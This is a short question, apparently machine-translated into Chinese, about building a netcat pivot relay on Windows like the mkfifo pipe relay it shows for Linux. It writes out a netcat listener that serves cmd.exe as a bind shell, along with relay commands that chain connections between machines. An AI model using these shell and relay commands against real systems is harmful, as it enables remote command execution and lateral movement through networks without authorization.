我正在尝试在 Windows 上使用 netcat 设置一个枢轴中继,复制在 Linux 中使用管道轻松实现的场景。
假设机器 A 可以路由到机器 B,而机器 B 可以路由到机器 C。如果机器 A 需要路由到机器 C,我们可以在机器 B 上设置一个中继,它可以使用命令重定向器和 spl 文件类型管道为我们来回传送数据。
认为:
- 机器 C 有
nc -nlvp 3306 -e cmd.exe
- 机器 A 有
nc -nlvp 80
如果机器 B 是 Linux,我们可以这样做
mkfifo pipe
nc -nv 127.0.0.1 80 0<pipe | nc -nv 127.0.0.1 3306 1>pipe
因此在机器 B 上如果我们
nc -nv 127.0.0.1 80 0<&4 | nc -nv 127.0.0.1 3306 1>&4
每本网站,我应该能够用Linux实现我能做的事情,但不幸的是它不起作用。